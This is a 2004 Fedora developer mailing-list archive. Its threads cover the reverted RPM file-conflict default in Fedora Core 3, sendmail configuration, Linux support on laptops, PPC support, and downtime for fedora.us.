Ceci est une partie de message num?riquement sign?e URL: From leonard at den.ottolander.nl Sun Oct 31 10:26:23 2004 From: leonard at den.ottolander.nl (Leonard den Ottolander) Date: Sun, 31 Oct 2004 11:26:23 +0100 Subject: FC3 rpm behavior change In-Reply-To: <20041030111531.442077bb.fedora@wir-sind-cool.org> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030111531.442077bb.fedora@wir-sind-cool.org> Message-ID: <1099218383.4808.7.camel@athlon.localdomain> Hi Michael, On Sat, 2004-10-30 at 11:15, Michael Schwendt wrote: > So, --force is default now? :-O > > Above text was not included in FC3 Test3. I find it strange to hear > about such changes after a freeze. Terrible decision, terrible timing. Leonard. -- mount -t life -o ro /dev/dna /genetic/research From leonard at den.ottolander.nl Sun Oct 31 10:35:10 2004 From: leonard at den.ottolander.nl (Leonard den Ottolander) Date: Sun, 31 Oct 2004 11:35:10 +0100 Subject: Reverted [was Re: FC3 rpm behavior change] In-Reply-To: <1099164143.4462.3.camel@proton.cygnusx-1.org> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> Message-ID: <1099218910.4808.13.camel@athlon.localdomain> Hi, On Sat, 2004-10-30 at 21:22, Nathan G. Grennan wrote: > http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137690 Wow. Never seen such a consensus on this list. These kind of poor decisions are good for the team spirit :) . Default behaviour has been reverted to the good old default of failing on file conflicts. See comment 2 of the above bug report. Leonard. -- mount -t life -o ro /dev/dna /genetic/research From feliciano.matias at free.fr Sun Oct 31 10:35:40 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sun, 31 Oct 2004 11:35:40 +0100 Subject: FC3 rpm behavior change In-Reply-To: <1099120855.3697.8.camel@mentorng.gurulabs.com> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> Message-ID: <1099218940.22176.5.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 01:20 -0600, Dax Kelson a ?crit : > The FC3 Release Notes say: > > ============= > RPM's default behavior regarding file conflicts in Fedora Core 3 has > changed. In the past, file conflicts (where a file from one > already-installed package also appears in a package that is to be > installed) caused the installation of the package containing the > conflicting file to abort. > > In Fedora Core 3, RPM will ignore such conflicts, and the package > installation will proceed, overwriting any conflicting files from > previously-installed packages. > ============ > > What's the rationale for this? > From rom : https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137690 Additional Comment #2 From Jeff Johnson (jbj at redhat.com) on 2004-10-31 03:29 ------- File conflicts reenabled by default in rpm-4.3.2-18. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From buildsys at redhat.com Sun Oct 31 12:47:10 2004 From: buildsys at redhat.com (Build System) Date: Sun, 31 Oct 2004 07:47:10 -0500 Subject: rawhide report: 20041031 changes Message-ID: <200410311247.i9VClAe25539@porkchop.devel.redhat.com> Updated Packages: rpmdb-fedora-3-0.20041031 ------------------------- From tdiehl at rogueind.com Sun Oct 31 14:29:35 2004 From: tdiehl at rogueind.com (Tom Diehl) Date: Sun, 31 Oct 2004 09:29:35 -0500 (EST) Subject: FC3 rpm behavior change In-Reply-To: <1099218910.4808.13.camel@athlon.localdomain> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> <1099218910.4808.13.camel@athlon.localdomain> Message-ID: On Sun, 31 Oct 2004, Leonard den Ottolander wrote: > Hi, > > On Sat, 2004-10-30 at 21:22, Nathan G. Grennan wrote: > > http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137690 > > Wow. Never seen such a consensus on this list. These kind of poor > decisions are good for the team spirit :) . > > Default behaviour has been reverted to the good old default of failing > on file conflicts. See comment 2 of the above bug report. > JBJ just added the following comment to https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=131766 Dams: Packages not built by rpm-4.2 or later lack file coloring within the package. Without the proper elf32/elf64 markers within package metadata, the file conflict resolution rule Always prefer elf64. will fail because (duh!) the information is not contained within the package. The symptom will show up as a file conflict, when in actuality, information necessary for rpm to resolve elf file conflicts is not present. Adding support for multilib is going to increase the incidence of file conflicts dramatically, as the intent is (and was) differing content on the same path for executables, but different /lib /lib64 paths for libraries. So my comment was directed at missing information, not the quality of 3rd party distro packaging. For better or worse, there are lots of copies of rpm deployed everywhere that are earlier than rpm-4.2, and producing packages that will show up as file conflicts when installed on a multilib system. That was (and is) the rationale for defaulting file conflict behavior to off, as no one, certainly not me, can control what version of rpm is used to build packages in the wild. The intent was specifically not to remove file conflict detection, but rather change the default, with a --fileconflicts option. Adding support for both elf32/elf64 packages requires markers to distinguish elf32 from elf64 without reading the payload twice, as that would be a major performance lose. Whether it is wise to install differing content like elf32 and elf64 on the same path (as multilib does) is an entirely different issue. And no matter whether file conflict detection is disabled or enabled by default is not the core issue. RPM behavior has changed to do Always prefer elf64. file conflict resolution automagically in order to merge elf32 and elf64 distros without rebuilding or otherwise changing packages (like putting markers within *.spec) at all. The format change is both forward and backward compatible for all non-multilib installs. And note that much better package selection and file conflict resolution policies are going to be needed (if multilib is truly the wave of the future) than Always prefer elf64. because a) there are non-elf file conflicts that are not addressed. b) elf64 was chosen because only elf64 ldconfig could handle both elf32 and elf64 at the time of implementation (RHL 9). There are certainly other, better, policies that can be conceived. My guess and hope is that one or the other of the elf32/elf64 distros will be a clear winner after a rather longish transition, in which case all the multilib support will became moot. I still think it is the wrong answer but feel free to add comments to the bug as applicable. Tom From pri.rhl3 at iadonisi.to Sun Oct 31 14:25:54 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sun, 31 Oct 2004 09:25:54 -0500 Subject: mail gui In-Reply-To: <1099214614.24214.6.camel@rousalka.dyndns.org> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> <1099164000l.4007l.3l@devel.mpeters.us> <36B00DD6E63F1CE01230854D@[10.0.0.4]> <1099184852l.13490l.0l@devel.mpeters.us> <1099186122.19755.34.camel@va.local.linuxlobbyist.org> <1099214614.24214.6.camel@rousalka.dyndns.org> Message-ID: <1099232754.1580.5.camel@va.local.linuxlobbyist.org> On Sun, 2004-10-31 at 04:23, Nicolas Mailhot wrote: [snip] > Even if the sendmail codebase finaly reached the quality of its > competitors that's no reason to inflict sendmail conf files on users. Heh. I eat sendmail rulesets for breakfast. ;-) Never saw anyone use 'inflict' when talking about sendmail conf files. But I guess that's appropos. The best description I've heard of them is that they look like line noise. Oh, and 'quality' may be overstating it a bit. I've seen core sendmail developers mention things like sendmail being full of hacks (that's ugly hacks, not cool hacks). SendmailX is rewritten from the ground up, with lessons learned in mind. We'll have to wait and see how well that takes off. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From pri.rhl3 at iadonisi.to Sun Oct 31 14:36:34 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sun, 31 Oct 2004 09:36:34 -0500 Subject: FC3 rpm behavior change In-Reply-To: References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> <1099218910.4808.13.camel@athlon.localdomain> Message-ID: <1099233393.1580.16.camel@va.local.linuxlobbyist.org> Thank you, Jeff, for this detailed information on why this was done. But thank you most of all for changing the default back for FC3. I am a little surprised that a change with potentially serious negative consequences was never mentioned on fedora-test-list or fedora-devel-list, but only showed up just recently in the release notes so close to release of FC3. Even though the actual change was made earlier in the cycle, no one noticed because of the nature of the change. Your explanations make sense, but the timing was bad. A real solution for multi-lib systems truly seems difficult, but the problem should be solvable. Perhaps fedora-devel-list is good forum for that, but maybe rpm-list will suffice. I plan on subscribing to that list. Don't know how much help I can be, but I'll try. I don't yet, but will probably soon have an Opteron system to help (at a minimum) test with. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From zleite at mminternet.com Sun Oct 31 15:50:39 2004 From: zleite at mminternet.com (Z) Date: Sun, 31 Oct 2004 07:50:39 -0800 Subject: mail gui In-Reply-To: <1099232754.1580.5.camel@va.local.linuxlobbyist.org> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> <1099164000l.4007l.3l@devel.mpeters.us> <36B00DD6E63F1CE01230854D@[10.0.0.4]> <1099184852l.13490l.0l@devel.mpeters.us> <1099186122.19755.34.camel@va.local.linuxlobbyist.org> <1099214614.24214.6.camel@rousalka.dyndns.org> <1099232754.1580.5.camel@va.local.linuxlobbyist.org> Message-ID: <418509CF.6000709@mminternet.com> Paul Iadonisi wrote: >On Sun, 2004-10-31 at 04:23, Nicolas Mailhot wrote: > >[snip] > > > >>Even if the sendmail codebase finaly reached the quality of its >>competitors that's no reason to inflict sendmail conf files on users. >> >> > > Heh. > > I eat sendmail rulesets for breakfast. ;-) > > Never saw anyone use 'inflict' when talking about sendmail conf >files. But I guess that's appropos. The best description I've heard of >them is that they look like line noise. > > Now for the stupid question of the day: Why wasn't the config files changed to something decent? Why is it still using cryptic m4 macros to create even more cryptic configs? > Oh, and 'quality' may be overstating it a bit. I've seen core >sendmail developers mention things like sendmail being full of hacks >(that's ugly hacks, not cool hacks). SendmailX is rewritten from the >ground up, with lessons learned in mind. We'll have to wait and see how >well that takes off. > > The ugly rumor that I heard is that parts of the codebase are too messy for an audit. It passed the point of "rewrite is less work than fixing" a long time ago. Anyone tried commercial sendmail? Is it different? From pri.rhl3 at iadonisi.to Sun Oct 31 16:13:42 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sun, 31 Oct 2004 11:13:42 -0500 Subject: mail gui In-Reply-To: <418509CF.6000709@mminternet.com> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> <1099164000l.4007l.3l@devel.mpeters.us> <36B00DD6E63F1CE01230854D@[10.0.0.4]> <1099184852l.13490l.0l@devel.mpeters.us> <1099186122.19755.34.camel@va.local.linuxlobbyist.org> <1099214614.24214.6.camel@rousalka.dyndns.org> <1099232754.1580.5.camel@va.local.linuxlobbyist.org> <418509CF.6000709@mminternet.com> Message-ID: <1099239222.1580.42.camel@va.local.linuxlobbyist.org> On Sun, 2004-10-31 at 10:50, Z wrote: [snip] > Now for the stupid question of the day: Why wasn't the config files > changed to something decent? > Why is it still using cryptic m4 macros to create even more cryptic configs? Um, actually, what makes you say that the m4 macros are cryptic? Now, m4 itself is *extremely* difficult to read and debug if you are writing your own FEATURES, HACKS, or proto.m4 changes, but that's another matter. The whole purpose of using m4, however, is to make life easier...and it certainly does, as features now have meaningful names, instead of stuff like R*&$&^!( And if you *can* do everything with m4 macros (you can't, but almost can), then who really cares what the .cf file looks like? It's no different than compiling a source program getting a binary result. Yes, many would argue that the output looks the same (heh), but if you stick modifying the m4 file, it shouldn't really matter. That said, I believe one of the significant changes in SendmailX is the new config file format. From what I've seen, it looks *much* more readable. I don't know about actual rewriting rulesets, however. I think the changes are aimed more at the everything but the rulesets (map definitions, options, milter definitions, etc.). Given what the rulesets actually do, it's hard to imagine a better way to do it and still maintain the current flexibility. But I could be wrong...that may be changed, too. I have a copy of smX-0.0.16, so I'll take a look. [snip] > Anyone tried commercial sendmail? Is it different? A few years ago, yes, I did. But the codebase is the same, with a few features added strictly for administration, plus the web gui. Nothing to write home about, IMHO. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From parklee_sel at yahoo.com Sun Oct 31 17:16:02 2004 From: parklee_sel at yahoo.com (Park Lee) Date: Sun, 31 Oct 2004 09:16:02 -0800 (PST) Subject: How about the support of FC for laptop? Message-ID: <20041031171602.55949.qmail@web51505.mail.yahoo.com> Hi, Would you please tell me How about the support of Fedora Core for notebook PC(aka laptop)? and what kinds of notebook PC can be supported by Fedora Core (such as FC2, FC3) ? Thanks a lot ! -- Best Regards, Park Lee --------------------------------- Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mmitu at bitdefender.com Sun Oct 31 18:11:44 2004 From: mmitu at bitdefender.com (Mircea MITU) Date: Sun, 31 Oct 2004 20:11:44 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099233393.1580.16.camel@va.local.linuxlobbyist.org> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> <1099218910.4808.13.camel@athlon.localdomain> <1099233393.1580.16.camel@va.local.linuxlobbyist.org> Message-ID: <1099246304.12420.49.camel@fuckinalive.unsubscribe.ro> On Sun, 2004-10-31 at 09:36 -0500, Paul Iadonisi wrote: > I am a little surprised that a change with potentially serious > negative consequences was never mentioned on fedora-test-list or > fedora-devel-list, but only showed up just recently in the release notes > so close to release of FC3. I'm a little bit surprised that such a major change wasn't noticed until it was documented. > Even though the actual change was made > earlier in the cycle, no one noticed because of the nature of the > change. > You're right, to notice such a change would require to test something, to use rpm to install some packages, to break smth even. Maybe no one is using rpm these days anymore ;) I propose to completely remove rpm from repository ;-) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: BitDefender.txt URL: From arjanv at redhat.com Sun Oct 31 18:47:32 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Sun, 31 Oct 2004 19:47:32 +0100 Subject: How about the support of FC for laptop? In-Reply-To: <20041031171602.55949.qmail@web51505.mail.yahoo.com> References: <20041031171602.55949.qmail@web51505.mail.yahoo.com> Message-ID: <1099248451.14342.11.camel@laptop.fenrus.org> On Sun, 2004-10-31 at 09:16 -0800, Park Lee wrote: > Hi, > Would you please tell me How about the support of Fedora Core for > notebook PC(aka laptop)? and what kinds of notebook PC can be > supported by Fedora Core (such as FC2, FC3) ? if you are about to buy a notebook... the key issue in my experience is the video chipset. In my experience the intel video based laptops work well, while nvidia/ati are more cumbersome (even with the binary drivers), however the gaming performance will be lower than with nvidia/ati. Other than that.... make sure you buy a laptop with speedstep or similar, the battery life and heat production matter a lot. oh and google before buying for the model and linux, quite often others wrote about their experiences (and once you get yours, write your own page :-) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From fedora at wir-sind-cool.org Sun Oct 31 18:56:57 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sun, 31 Oct 2004 19:56:57 +0100 Subject: FC3 rpm behavior change In-Reply-To: <1099246304.12420.49.camel@fuckinalive.unsubscribe.ro> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> <1099218910.4808.13.camel@athlon.localdomain> <1099233393.1580.16.camel@va.local.linuxlobbyist.org> <1099246304.12420.49.camel@fuckinalive.unsubscribe.ro> Message-ID: <20041031195657.7667ade4.fedora@wir-sind-cool.org> On Sun, 31 Oct 2004 20:11:44 +0200, Mircea MITU wrote: > On Sun, 2004-10-31 at 09:36 -0500, Paul Iadonisi wrote: > > I am a little surprised that a change with potentially serious > > negative consequences was never mentioned on fedora-test-list or > > fedora-devel-list, but only showed up just recently in the release notes > > so close to release of FC3. > > I'm a little bit surprised that such a major change wasn't noticed until > it was documented. As pointed out earlier, some users noticed it when they installed packages which were supposed to cause conflicts. However, the majority of testers works with clean packages, which don't conflict. And only if a package were expected to conflict, you would notice when it installs without errors instead. Or if you encounter a case where package installation overwrites files and damages the system. I've installed, erased and upgraded many packages (including Fedora Extras packages) during the Fedora Core 3 test period, and all were clean enough not to cause any conflicts. And frankly, would you expect such a mad change in RPM behaviour? Would be interesting to know who has payed attention to the rpm package changelog all the time and was aware of the change when it was activated. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 2.62 2.50 2.13 From parklee_sel at yahoo.com Sun Oct 31 19:02:46 2004 From: parklee_sel at yahoo.com (Park Lee) Date: Sun, 31 Oct 2004 11:02:46 -0800 (PST) Subject: How about the support of FC for laptop? In-Reply-To: <1099248451.14342.11.camel@laptop.fenrus.org> Message-ID: <20041031190246.44927.qmail@web51502.mail.yahoo.com> Thanks a lot. -- Best Regards, Park Lee --------------------------------- Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mpeters at mac.com Sun Oct 31 19:05:37 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 31 Oct 2004 19:05:37 +0000 Subject: FC3 rpm behavior change In-Reply-To: <1099246304.12420.49.camel@fuckinalive.unsubscribe.ro> (from mmitu@bitdefender.com on Sun Oct 31 10:11:44 2004) References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> <1099218910.4808.13.camel@athlon.localdomain> <1099233393.1580.16.camel@va.local.linuxlobbyist.org> <1099246304.12420.49.camel@fuckinalive.unsubscribe.ro> Message-ID: <1099249537l.6772l.0l@devel.mpeters.us> On 10/31/2004 10:11:44 AM, Mircea MITU wrote: > > I'm a little bit surprised that such a major change wasn't noticed > until > it was documented. Probably because most people using a test release either use a repository tool, and if they build their own rpm's - they use the proper switch (ie -Uh opposed to ih). From teg at pvv.org Sun Oct 31 20:29:48 2004 From: teg at pvv.org (=?UTF-8?B?VHJvbmQgRWl2aW5kIEdsb21zcsO4ZA==?=) Date: Sun, 31 Oct 2004 21:29:48 +0100 Subject: How about the support of FC for laptop? In-Reply-To: <1099248451.14342.11.camel@laptop.fenrus.org> References: <20041031171602.55949.qmail@web51505.mail.yahoo.com> <1099248451.14342.11.camel@laptop.fenrus.org> Message-ID: <41854B3C.3060800@pvv.org> Arjan van de Ven wrote: >On Sun, 2004-10-31 at 09:16 -0800, Park Lee wrote: > > >>Hi, >>Would you please tell me How about the support of Fedora Core for >>notebook PC(aka laptop)? and what kinds of notebook PC can be >>supported by Fedora Core (such as FC2, FC3) ? >> >> > >if you are about to buy a notebook... the key issue in my experience is >the video chipset. In my experience the intel video based laptops work >well, while nvidia/ati are more cumbersome (even with the binary >drivers), however the gaming performance will be lower than with >nvidia/ati. > > I would avoid Intel graphics. Nvidia works out of the box even with the opensource driver... and except for brand new releases of FC, their binary driver work well. Intel graphics are painful. They are integrated with the BIOSes, and needed special hacks just to get some video memory earlier... and stick suck badly wrt. to getting proper display modes too I thought Intel was great, and Nvidia bad. Experience has taught me otherwise. From arjanv at redhat.com Sun Oct 31 20:49:47 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Sun, 31 Oct 2004 21:49:47 +0100 Subject: How about the support of FC for laptop? In-Reply-To: <41854B3C.3060800@pvv.org> References: <20041031171602.55949.qmail@web51505.mail.yahoo.com> <1099248451.14342.11.camel@laptop.fenrus.org> <41854B3C.3060800@pvv.org> Message-ID: <1099255784.14342.14.camel@laptop.fenrus.org> > I would avoid Intel graphics. Nvidia works out of the box even with the > opensource driver... > and except for brand new releases of FC, their binary driver work well. > > Intel graphics are painful. They are integrated with the BIOSes, and > needed special hacks just to > get some video memory earlier... and stick suck badly wrt. to getting > proper display modes too > > I thought Intel was great, and Nvidia bad. Experience has taught me > otherwise. I guess it all comes down to bios; I've seen a lot of cases where nvidia didn't work; even with the binary driver (nvidia focusses on the desktop chips not so much on the laptop ones). So.. whatever you buy google first to see if others could make the laptop work..... -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From royamitabha at gmail.com Sun Oct 31 21:04:27 2004 From: royamitabha at gmail.com (Amitabha Roy) Date: Sun, 31 Oct 2004 16:04:27 -0500 Subject: How about the support of FC for laptop? In-Reply-To: <1099255784.14342.14.camel@laptop.fenrus.org> References: <20041031171602.55949.qmail@web51505.mail.yahoo.com> <1099248451.14342.11.camel@laptop.fenrus.org> <41854B3C.3060800@pvv.org> <1099255784.14342.14.camel@laptop.fenrus.org> Message-ID: <77e74f3e04103113043b76d017@mail.gmail.com> Moreover, making suspend/resume work on laptop with ACPI is currently like playing roulette at Vegas. Sometimes you win, most often the house wins handily. However, you don't ever lose data, so its worth a try. On Sun, 31 Oct 2004 21:49:47 +0100, Arjan van de Ven wrote: > > > > > I would avoid Intel graphics. Nvidia works out of the box even with the > > opensource driver... > > and except for brand new releases of FC, their binary driver work well. > > > > Intel graphics are painful. They are integrated with the BIOSes, and > > needed special hacks just to > > get some video memory earlier... and stick suck badly wrt. to getting > > proper display modes too > > > > I thought Intel was great, and Nvidia bad. Experience has taught me > > otherwise. > > I guess it all comes down to bios; I've seen a lot of cases where nvidia > didn't work; even with the binary driver (nvidia focusses on the desktop > chips not so much on the laptop ones). > > So.. whatever you buy google first to see if others could make the > laptop work..... > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > > From kyrre at solution-forge.net Sun Oct 31 21:31:45 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 31 Oct 2004 22:31:45 +0100 Subject: How about the support of FC for laptop? In-Reply-To: <77e74f3e04103113043b76d017@mail.gmail.com> References: <20041031171602.55949.qmail@web51505.mail.yahoo.com> <1099248451.14342.11.camel@laptop.fenrus.org> <41854B3C.3060800@pvv.org> <1099255784.14342.14.camel@laptop.fenrus.org> <77e74f3e04103113043b76d017@mail.gmail.com> Message-ID: <1099258305.4746.14.camel@kyrre> didn't IBM say it support Linux on all their machines ? arg.. i was about to say something else but i forgot it... s?n, 31.10.2004 kl. 22.04 skrev Amitabha Roy: > Moreover, making suspend/resume work on laptop with ACPI is currently > like playing roulette at Vegas. Sometimes you win, > most often the house wins handily. However, you don't ever lose > data, so its worth a try. > unless it "comes back" but with disk(controller) halfway hosed etc. not that i ever saw that... > > > > On Sun, 31 Oct 2004 21:49:47 +0100, Arjan van de Ven wrote: > > > > > > > > > I would avoid Intel graphics. Nvidia works out of the box even with the > > > opensource driver... > > > and except for brand new releases of FC, their binary driver work well. > > > > > > Intel graphics are painful. They are integrated with the BIOSes, and > > > needed special hacks just to > > > get some video memory earlier... and stick suck badly wrt. to getting > > > proper display modes too > > > > > > I thought Intel was great, and Nvidia bad. Experience has taught me > > > otherwise. > > > > I guess it all comes down to bios; I've seen a lot of cases where nvidia > > didn't work; even with the binary driver (nvidia focusses on the desktop > > chips not so much on the laptop ones). > > > > So.. whatever you buy google first to see if others could make the > > laptop work..... > > > > > > -- > > fedora-devel-list mailing list > > fedora-devel-list at redhat.com > > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > > > > > From dwmw2 at infradead.org Sun Oct 31 21:42:46 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Sun, 31 Oct 2004 21:42:46 +0000 Subject: Proposal: make PPC a supported arch for FC4 In-Reply-To: <1099074874.4720.26.camel@anu.eridu> References: <20041029200434.656568a8@nausicaa.camperquake.de> <1099074874.4720.26.camel@anu.eridu> Message-ID: <1099258966.7201.19.camel@localhost.localdomain> On Fri, 2004-10-29 at 19:34 +0100, Paul Nasrat wrote: > I'd like to get a polished FC3 tree out in the next few weeks. I'll > mail for testing/feedback/bug hunting on fedora-ppc some time next week. I have a kernel which actually boots on G5 and which can suspend/resume on PowerBook G4, neither of which are true of the real FC3 ppc64/ppc kernels. We should probably include that in any FC3/ppc tree we make. -- dwmw2 From mpeters at mac.com Sun Oct 31 22:51:15 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 31 Oct 2004 22:51:15 +0000 Subject: How about the support of FC for laptop? In-Reply-To: <1099258305.4746.14.camel@kyrre> (from kyrre@solution-forge.net on Sun Oct 31 13:31:45 2004) References: <20041031171602.55949.qmail@web51505.mail.yahoo.com> <1099248451.14342.11.camel@laptop.fenrus.org> <41854B3C.3060800@pvv.org> <1099255784.14342.14.camel@laptop.fenrus.org> <77e74f3e04103113043b76d017@mail.gmail.com> <1099258305.4746.14.camel@kyrre> Message-ID: <1099263075l.6772l.1l@devel.mpeters.us> On 10/31/2004 01:31:45 PM, Kyrre Ness Sjobak wrote: > didn't IBM say it support Linux on all their machines ? I've had nothing but good experiences with thinkpads and linux. Modem doesn't always work - even when following IBM's instructions - but modems are archaic. What I really liked about thinkpads (at least the older models, all I've used) is that they had three buttons for the mouse, great for X11. I don't know if modern thinkpads are 3 button or not, never used one. From perbj at stanford.edu Sun Oct 31 23:03:10 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sun, 31 Oct 2004 15:03:10 -0800 Subject: How about the support of FC for laptop? In-Reply-To: <77e74f3e04103113043b76d017@mail.gmail.com> References: <20041031171602.55949.qmail@web51505.mail.yahoo.com> <1099248451.14342.11.camel@laptop.fenrus.org> <41854B3C.3060800@pvv.org> <1099255784.14342.14.camel@laptop.fenrus.org> <77e74f3e04103113043b76d017@mail.gmail.com> Message-ID: <1099263790.3142.22.camel@scania> On Sun, 2004-10-31 at 13:04, Amitabha Roy wrote: > Moreover, making suspend/resume work on laptop with ACPI is currently > like playing roulette at Vegas. Sometimes you win, > most often the house wins handily. However, you don't ever lose > data, so its worth a try. Heh. At least you'd hope that this would be true. I had a different experience under FC2 in any case, with massive filesystem corruption, but there may have been operator error involved. On that notebook I haven't dared play with it again though... /Per From alan at clueserver.org Sun Oct 31 22:49:56 2004 From: alan at clueserver.org (alan) Date: Sun, 31 Oct 2004 14:49:56 -0800 (PST) Subject: How about the support of FC for laptop? In-Reply-To: <1099255784.14342.14.camel@laptop.fenrus.org> Message-ID: On Sun, 31 Oct 2004, Arjan van de Ven wrote: > > > I would avoid Intel graphics. Nvidia works out of the box even with the > > opensource driver... > > and except for brand new releases of FC, their binary driver work well. > > > > Intel graphics are painful. They are integrated with the BIOSes, and > > needed special hacks just to > > get some video memory earlier... and stick suck badly wrt. to getting > > proper display modes too > > > > I thought Intel was great, and Nvidia bad. Experience has taught me > > otherwise. > > I guess it all comes down to bios; I've seen a lot of cases where nvidia > didn't work; even with the binary driver (nvidia focusses on the desktop > chips not so much on the laptop ones). > > So.. whatever you buy google first to see if others could make the > laptop work..... I have not had any problems with the nVIDIA laptop chipset. What I have had problem with is the weird sizes of laptop displays. The current laptop I have uses a 1900x1200 display. It is a widescreen aspect ratio. Some of the less endowed screens have weirder aspect ratios. (One of the reasons I got the higher screen density was because it is the same as a common Apple monitor.) If you do a bit of searching, you can find all sorts of X configs for laptop displays. (That is how I got this one working.) Now if I could just get my Atheros PCMCIA wireless card working on the AMD64 kernel... -- Q: Why do programmers confuse Halloween and Christmas? A: Because OCT 31 == DEC 25. From wtogami at redhat.com Sun Oct 31 23:50:05 2004 From: wtogami at redhat.com (Warren Togami) Date: Sun, 31 Oct 2004 13:50:05 -1000 Subject: Emergency downtime for Fedora Extras Message-ID: <41857A2D.9090902@redhat.com> Sometime during Saturday, October 30th fedora.us was knocked offline due to a severe flood on the campus of the University of Hawaii. Now the main web server where download.fedora.us is housed is back up, but power may be unreliable as most of campus is heavily damaged. fedora.us Bugzilla and build system is down for an indeterminate amount of time. Warren Togami wtogami at redhat.com From parklee_sel at yahoo.com Sun Oct 31 17:16:02 2004 From: parklee_sel at yahoo.com (Park Lee) Date: Sun, 31 Oct 2004 09:16:02 -0800 (PST) Subject: How about the support of FC for laptop? Message-ID: <20041031171602.55949.qmail@web51505.mail.yahoo.com> Hi, Would you please tell me How about the support of Fedora Core for notebook PC(aka laptop)? and what kinds of notebook PC can be supported by Fedora Core (such as FC2, FC3) ? Thanks a lot ! -- Best Regards, Park Lee --------------------------------- Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. ______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email ______________________________________________________________________ -------------- next part -------------- 